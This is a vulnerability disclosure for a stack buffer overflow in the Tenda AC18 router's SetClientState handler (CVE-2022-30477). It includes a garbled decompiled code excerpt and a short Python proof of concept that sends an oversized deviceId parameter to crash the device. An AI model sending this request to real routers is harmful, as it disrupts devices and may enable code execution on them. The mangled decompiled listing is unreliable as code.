

Tenda Router AC18 Vulnerability

This vulnerability lies in the /goform/SetClientState page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a stack-based buffer overflow vulnerability in function formSetClientState.

In function formSetClientState it reads user provided parameter deviceId into v9, and this variable is passed into function sprintf without any length check, which may overflow the stack-based buffer s.

```
20
     v8 = 0;
     v7 = 1;
21
        = (const char *)websgetvar(a1, "deviceId",
                                                          (int)&unk_E235C);
22
     npt = (char *)websgetvar(a1, "limitEn", (int)"0");
23
     v11 = (const char *)websgetvar(a1, "limitSpeed", (int)"0");
v10 = (const char *)websgetvar(a1, "limitSpeedUp", (int)"0");
24
25
26
     if ( v9 )
27
28
       if (sub_7D6_0(v9, &v4) == 1)
                                                         // Check Here
29
30
         v8 = 1;
         sprintf((char *)
                                 "{\"errCode\":%d}", 1);
31
32
         return sub_9CB14(a)
33
       else
34
35
36
         if ( atoi(nptr) )
37
38
            sprintf(s, "%d;%s;%s;%s", v2, v9, v10, v11);
39
                 sub_7CDD8(v4,
40
            if ( v7 | !CommitCfm(0) )
41
42
              v7 = 1;
            else
43
              doSystemCmd("cfm Post netctrl %d?op=%d", 15, 6);
44
45
46
         else
```

So by requesting the page /goform/SetClientState, the attacker can easily perform a **Deny of Service Attack** or **Remote Code Execution** with carefully crafted overflow data.

PoC

```
import requests

IP = "10.10.10.1"

url = f"http://{IP}/goform/SetClientState?"

url += "limitEn=1&deviceId=" + "s" * 0x500

response = requests.get(url)
```

Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30477)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41849)

Acknowledge

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